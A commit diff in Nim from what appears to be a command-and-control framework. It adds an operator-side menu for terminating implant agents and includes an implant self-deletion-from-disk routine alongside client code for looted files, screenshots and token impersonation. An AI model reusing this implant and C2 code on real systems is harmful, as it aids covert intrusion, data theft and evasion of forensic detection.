Added right-click context menu for exiting the agent process/thread.
This commit is contained in:
@@ -48,21 +48,21 @@ proc deleteSelfFromDisk*() =
|
|||||||
|
|
||||||
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, "CreateFileW [1]" & GetLastError().getError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
|
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
|
||||||
raise newException(CatchableError, "SetFileInfByHandle [1]" & GetLastError().getError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
CloseHandle(hLocalImgFile)
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
|
||||||
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
if hLocalImgFile == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, "CreateFileW [2]" & GetLastError().getError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
|
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
|
||||||
|
|
||||||
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
|
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
|
||||||
raise newException(CatchableError, "SetFileInfByHandle [2]" & GetLastError().getError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
CloseHandle(hLocalImgFile)
|
CloseHandle(hLocalImgFile)
|
||||||
|
|
||||||
|
|||||||
@@ -74,139 +74,142 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
connection.ws.sendHeartbeat()
|
connection.ws.sendHeartbeat()
|
||||||
|
|
||||||
# Receive and parse websocket response message
|
# Receive and parse websocket response message
|
||||||
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
try:
|
||||||
case event.eventType:
|
let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey)
|
||||||
of CLIENT_KEY_EXCHANGE:
|
case event.eventType:
|
||||||
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
of CLIENT_KEY_EXCHANGE:
|
||||||
connection.sendPublicKey(clientKeyPair.publicKey)
|
connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey())
|
||||||
wipeKey(clientKeyPair.privateKey)
|
connection.sendPublicKey(clientKeyPair.publicKey)
|
||||||
|
wipeKey(clientKeyPair.privateKey)
|
||||||
|
|
||||||
of CLIENT_PROFILE:
|
of CLIENT_PROFILE:
|
||||||
profile = parsetoml.parseString(event.data["profile"].getStr())
|
profile = parsetoml.parseString(event.data["profile"].getStr())
|
||||||
|
|
||||||
of CLIENT_LISTENER_ADD:
|
|
||||||
let listener = event.data.to(UIListener)
|
|
||||||
listenersTable.listeners.add(listener)
|
|
||||||
|
|
||||||
of CLIENT_AGENT_ADD:
|
|
||||||
let agent = event.data.to(UIAgent)
|
|
||||||
|
|
||||||
# The ImGui Multi Select only works well with seq's, so we maintain a
|
|
||||||
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
|
||||||
sessionsTable.agents.add(agent)
|
|
||||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
|
||||||
|
|
||||||
if not agent.impersonationToken.isEmptyOrWhitespace():
|
|
||||||
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
|
||||||
|
|
||||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
|
||||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
|
||||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
|
||||||
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
|
||||||
var agentConsole = Console(agent)
|
|
||||||
consoles[agent.agentId] = agentConsole
|
|
||||||
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
|
|
||||||
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
|
||||||
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
|
||||||
else:
|
|
||||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
|
||||||
consoles[agent.agentId].draw(connection)
|
|
||||||
consoles[agent.agentId].showConsole = false
|
|
||||||
|
|
||||||
of CLIENT_AGENT_CHECKIN:
|
|
||||||
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
|
||||||
|
|
||||||
of CLIENT_AGENT_PAYLOAD:
|
|
||||||
let payload = decode(event.data["payload"].getStr())
|
|
||||||
try:
|
|
||||||
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
|
|
||||||
|
|
||||||
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
|
|
||||||
# let outFilePath = callDialogFileSave("Save Payload")
|
|
||||||
|
|
||||||
writeFile(outFilePath, payload)
|
|
||||||
except IOError:
|
|
||||||
discard
|
|
||||||
|
|
||||||
# Close and reset the payload generation modal window when the payload was received
|
|
||||||
listenersTable.generatePayloadModal.resetModalValues()
|
|
||||||
igClosePopupToLevel(0, false)
|
|
||||||
|
|
||||||
of CLIENT_CONSOLE_ITEM:
|
|
||||||
let agentId = event.data["agentId"].getStr()
|
|
||||||
consoles[agentId].console.addItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
)
|
|
||||||
|
|
||||||
of CLIENT_EVENTLOG_ITEM:
|
|
||||||
eventlog.textarea.addItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
)
|
|
||||||
|
|
||||||
of CLIENT_BUILDLOG_ITEM:
|
|
||||||
listenersTable.generatePayloadModal.buildLog.addItem(
|
|
||||||
cast[LogType](event.data["logType"].getInt()),
|
|
||||||
event.data["message"].getStr(),
|
|
||||||
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
)
|
|
||||||
|
|
||||||
of CLIENT_LOOT_ADD:
|
|
||||||
let lootItem = event.data.to(LootItem)
|
|
||||||
case lootItem.itemType:
|
|
||||||
of DOWNLOAD:
|
|
||||||
lootDownloads.items.add(lootItem)
|
|
||||||
of SCREENSHOT:
|
|
||||||
lootScreenshots.items.add(lootItem)
|
|
||||||
else: discard
|
|
||||||
|
|
||||||
of CLIENT_LOOT_DATA:
|
|
||||||
let
|
|
||||||
lootItem = event.data["loot"].to(LootItem)
|
|
||||||
data = decode(event.data["data"].getStr())
|
|
||||||
|
|
||||||
case lootItem.itemType:
|
of CLIENT_LISTENER_ADD:
|
||||||
of DOWNLOAD:
|
let listener = event.data.to(UIListener)
|
||||||
lootDownloads.contents[lootItem.lootId] = data
|
listenersTable.listeners.add(listener)
|
||||||
of SCREENSHOT:
|
|
||||||
lootScreenshots.addTexture(lootItem.lootId, data)
|
|
||||||
else: discard
|
|
||||||
|
|
||||||
of CLIENT_IMPERSONATE_TOKEN:
|
of CLIENT_AGENT_ADD:
|
||||||
let
|
let agent = event.data.to(UIAgent)
|
||||||
agentId = event.data["agentId"].getStr()
|
|
||||||
impersonationToken = event.data["username"].getStr()
|
|
||||||
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
|
||||||
|
|
||||||
of CLIENT_REVERT_TOKEN:
|
# The ImGui Multi Select only works well with seq's, so we maintain a
|
||||||
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
# separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access
|
||||||
|
sessionsTable.agents.add(agent)
|
||||||
else: discard
|
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||||
|
|
||||||
# Draw/update UI components/views
|
|
||||||
if showSessionsTable: sessionsTable.draw(addr showSessionsTable)
|
|
||||||
if showListeners: listenersTable.draw(addr showListeners, connection)
|
|
||||||
if showEventlog: eventlog.draw(addr showEventlog)
|
|
||||||
if showDownloads: lootDownloads.draw(addr showDownloads, connection)
|
|
||||||
if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
|
|
||||||
|
|
||||||
# Show console windows
|
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||||
var newConsoleTable: Table[string, ConsoleComponent]
|
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||||
for agentId, console in consoles.mpairs():
|
|
||||||
if console.showConsole:
|
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||||
# Ensure that new console windows are docked to the bottom panel by default
|
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||||
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||||
console.draw(connection)
|
# The only case that is not covered is when the listeners table is hidden and the bottom panel was split
|
||||||
newConsoleTable[agentId] = console
|
var agentConsole = Console(agent)
|
||||||
|
consoles[agent.agentId] = agentConsole
|
||||||
|
let listenersWindow = igFindWindowByName(WIDGET_LISTENERS)
|
||||||
|
if listenersWindow != nil and listenersWindow.DockNode != nil:
|
||||||
|
igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32)
|
||||||
|
else:
|
||||||
|
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||||
|
consoles[agent.agentId].draw(connection)
|
||||||
|
consoles[agent.agentId].showConsole = false
|
||||||
|
|
||||||
|
of CLIENT_AGENT_CHECKIN:
|
||||||
|
sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp
|
||||||
|
|
||||||
|
of CLIENT_AGENT_PAYLOAD:
|
||||||
|
let payload = decode(event.data["payload"].getStr())
|
||||||
|
try:
|
||||||
|
let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe"
|
||||||
|
|
||||||
|
# TODO: Using native file dialogs to have the client select the output file path (does not work in WSL)
|
||||||
|
# let outFilePath = callDialogFileSave("Save Payload")
|
||||||
|
|
||||||
|
writeFile(outFilePath, payload)
|
||||||
|
except IOError:
|
||||||
|
discard
|
||||||
|
|
||||||
|
# Close and reset the payload generation modal window when the payload was received
|
||||||
|
listenersTable.generatePayloadModal.resetModalValues()
|
||||||
|
igClosePopupToLevel(0, false)
|
||||||
|
|
||||||
|
of CLIENT_CONSOLE_ITEM:
|
||||||
|
let agentId = event.data["agentId"].getStr()
|
||||||
|
consoles[agentId].console.addItem(
|
||||||
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
# Update the consoles table with only those sessions that have not been closed yet
|
of CLIENT_EVENTLOG_ITEM:
|
||||||
# This is done to ensure that closed console windows can be opened again
|
eventlog.textarea.addItem(
|
||||||
consoles = newConsoleTable
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
igShowDemoWindow(nil)
|
of CLIENT_BUILDLOG_ITEM:
|
||||||
|
listenersTable.generatePayloadModal.buildLog.addItem(
|
||||||
|
cast[LogType](event.data["logType"].getInt()),
|
||||||
|
event.data["message"].getStr(),
|
||||||
|
event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss")
|
||||||
|
)
|
||||||
|
|
||||||
|
of CLIENT_LOOT_ADD:
|
||||||
|
let lootItem = event.data.to(LootItem)
|
||||||
|
case lootItem.itemType:
|
||||||
|
of DOWNLOAD:
|
||||||
|
lootDownloads.items.add(lootItem)
|
||||||
|
of SCREENSHOT:
|
||||||
|
lootScreenshots.items.add(lootItem)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
of CLIENT_LOOT_DATA:
|
||||||
|
let
|
||||||
|
lootItem = event.data["loot"].to(LootItem)
|
||||||
|
data = decode(event.data["data"].getStr())
|
||||||
|
|
||||||
|
case lootItem.itemType:
|
||||||
|
of DOWNLOAD:
|
||||||
|
lootDownloads.contents[lootItem.lootId] = data
|
||||||
|
of SCREENSHOT:
|
||||||
|
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
of CLIENT_IMPERSONATE_TOKEN:
|
||||||
|
let
|
||||||
|
agentId = event.data["agentId"].getStr()
|
||||||
|
impersonationToken = event.data["username"].getStr()
|
||||||
|
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||||
|
|
||||||
|
of CLIENT_REVERT_TOKEN:
|
||||||
|
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||||
|
|
||||||
|
else: discard
|
||||||
|
|
||||||
|
# Draw/update UI components/views
|
||||||
|
if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection)
|
||||||
|
if showListeners: listenersTable.draw(addr showListeners, connection)
|
||||||
|
if showEventlog: eventlog.draw(addr showEventlog)
|
||||||
|
if showDownloads: lootDownloads.draw(addr showDownloads, connection)
|
||||||
|
if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection)
|
||||||
|
|
||||||
|
# Show console windows
|
||||||
|
var newConsoleTable: Table[string, ConsoleComponent]
|
||||||
|
for agentId, console in consoles.mpairs():
|
||||||
|
if console.showConsole:
|
||||||
|
# Ensure that new console windows are docked to the bottom panel by default
|
||||||
|
igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32)
|
||||||
|
console.draw(connection)
|
||||||
|
newConsoleTable[agentId] = console
|
||||||
|
|
||||||
|
# Update the consoles table with only those sessions that have not been closed yet
|
||||||
|
# This is done to ensure that closed console windows can be opened again
|
||||||
|
consoles = newConsoleTable
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
echo "[-] ", err.msg
|
||||||
|
discard
|
||||||
|
|
||||||
# render
|
# render
|
||||||
app.render()
|
app.render()
|
||||||
|
|||||||
@@ -186,6 +186,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
|||||||
component.console.addItem(LOG_OUTPUT, "")
|
component.console.addItem(LOG_OUTPUT, "")
|
||||||
|
|
||||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||||
|
# Add command to console
|
||||||
|
component.console.addItem(LOG_COMMAND, input)
|
||||||
|
|
||||||
# Convert user input into sequence of string arguments
|
# Convert user input into sequence of string arguments
|
||||||
let parsedArgs = parseInput(input)
|
let parsedArgs = parseInput(input)
|
||||||
|
|
||||||
@@ -291,9 +294,6 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
|
|
||||||
let command = ($(addr component.inputBuffer[0])).strip()
|
let command = ($(addr component.inputBuffer[0])).strip()
|
||||||
if not command.isEmptyOrWhitespace():
|
if not command.isEmptyOrWhitespace():
|
||||||
|
|
||||||
component.console.addItem(LOG_COMMAND, command)
|
|
||||||
|
|
||||||
# Send command to team server
|
# Send command to team server
|
||||||
component.handleAgentCommand(connection, command)
|
component.handleAgentCommand(connection, command)
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,9 @@ import times, tables, strformat, strutils, algorithm
|
|||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
|
|
||||||
import ./console
|
import ./console
|
||||||
|
import ../core/[task, websocket]
|
||||||
import ../utils/[appImGui, colors]
|
import ../utils/[appImGui, colors]
|
||||||
|
import ../../modules/manager
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
type
|
type
|
||||||
@@ -43,7 +45,7 @@ proc interact(component: SessionsTableComponent) =
|
|||||||
|
|
||||||
component.selection.ImGuiSelectionBasicStorage_Clear()
|
component.selection.ImGuiSelectionBasicStorage_Clear()
|
||||||
|
|
||||||
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) =
|
||||||
igBegin(component.title, showComponent, 0)
|
igBegin(component.title, showComponent, 0)
|
||||||
|
|
||||||
let textSpacing = igGetStyle().ItemSpacing.x
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
@@ -156,6 +158,35 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
|||||||
component.interact()
|
component.interact()
|
||||||
igCloseCurrentPopup()
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igBeginMenu("Exit", true):
|
||||||
|
if igMenuItem("Process", nil, false, true):
|
||||||
|
for i, agent in component.agents:
|
||||||
|
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
||||||
|
if component.consoles[].hasKey(agent.agentId):
|
||||||
|
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process")
|
||||||
|
else:
|
||||||
|
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"])
|
||||||
|
connection.sendAgentTask(agent.agentId, "exit process", task)
|
||||||
|
|
||||||
|
ImGuiSelectionBasicStorage_Clear(component.selection)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
if igMenuItem("Thread", nil, false, true):
|
||||||
|
for i, agent in component.agents:
|
||||||
|
if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)):
|
||||||
|
if component.consoles[].hasKey(agent.agentId):
|
||||||
|
component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread")
|
||||||
|
else:
|
||||||
|
let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"])
|
||||||
|
connection.sendAgentTask(agent.agentId, "exit thread", task)
|
||||||
|
|
||||||
|
ImGuiSelectionBasicStorage_Clear(component.selection)
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igEndMenu()
|
||||||
|
|
||||||
|
igSeparator()
|
||||||
|
|
||||||
if igMenuItem("Remove", nil, false, true):
|
if igMenuItem("Remove", nil, false, true):
|
||||||
# Update agents table with only non-selected ones
|
# Update agents table with only non-selected ones
|
||||||
var newAgents: seq[UIAgent] = @[]
|
var newAgents: seq[UIAgent] = @[]
|
||||||
|
|||||||
@@ -25,7 +25,6 @@ type
|
|||||||
LONG = 3'u8
|
LONG = 3'u8
|
||||||
BOOL = 4'u8
|
BOOL = 4'u8
|
||||||
BINARY = 5'u8
|
BINARY = 5'u8
|
||||||
# FLAG = 6'u8
|
|
||||||
|
|
||||||
HeaderFlags* = enum
|
HeaderFlags* = enum
|
||||||
# Flags should be powers of 2 so they can be connected with or operators
|
# Flags should be powers of 2 so they can be connected with or operators
|
||||||
|
|||||||
Reference in New Issue
Block a user